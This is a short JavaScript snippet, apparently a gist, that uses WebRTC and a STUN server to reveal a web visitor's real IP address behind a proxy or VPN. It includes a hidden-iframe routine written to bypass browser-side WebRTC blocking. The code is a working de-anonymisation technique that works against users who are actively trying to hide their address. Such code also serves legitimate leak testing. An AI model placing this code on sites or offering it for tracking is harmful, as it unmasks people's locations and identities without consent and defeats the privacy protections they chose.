Get real IP behind proxy using WebRTC

get_leaking_ip.js

function getPeerConnection() {
    var RTCPeerConnection = window.RTCPeerConnection ||
        window.mozRTCPeerConnection ||
        window.webkitRTCPeerConnection;

    //bypass naive webrtc blocking
    if (!RTCPeerConnection) {
        var iframe = document.createElement('iframe');
        iframe.style.display = 'none';
        document.body.appendChild(iframe);
        var win = iframe.contentWindow;
        window.RTCPeerConnection = win.RTCPeerConnection;
        window.mozRTCPeerConnection = win.mozRTCPeerConnection;
        window.webkitRTCPeerConnection = win.webkitRTCPeerConnection;
        RTCPeerConnection = window.RTCPeerConnection ||
            window.mozRTCPeerConnection ||
            window.webkitRTCPeerConnection;
    }

    return RTCPeerConnection;
}

function getLeakingIP(callback) {
    // Based on work by https://github.com/diafygi/webrtc-ips
    
    var ip_dups = {};
    var RTCPeerConnection = getPeerConnection();

    var mediaConstraints = {
        optional: [{
            RtpDataChannels: true
        }]
    };

    var servers = {
        iceServers: [{
            urls: "stun:stun.dnsleak.net"
        }]
    };

    var pc = new RTCPeerConnection(servers, mediaConstraints);

    pc.onicecandidate = function(ice) {
        //skip non-candidate events
        if (ice.candidate) {
            var parts = ice.candidate.candidate.split(" ");
            var ip_addr = parts[4];

            var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/;
            if (ip_regex.test(ip_addr)) {
                //remove duplicates
                if (ip_dups[ip_addr] === undefined)
                //callback(ip_addr);
                    callback(ip_addr);
                ip_dups[ip_addr] = true;
            }
        }
    };

    pc.createDataChannel("");

    pc.createOffer(function(result) {
        //trigger the stun server request
        pc.setLocalDescription(result, function() {}, function() {});

    }, function() {});
}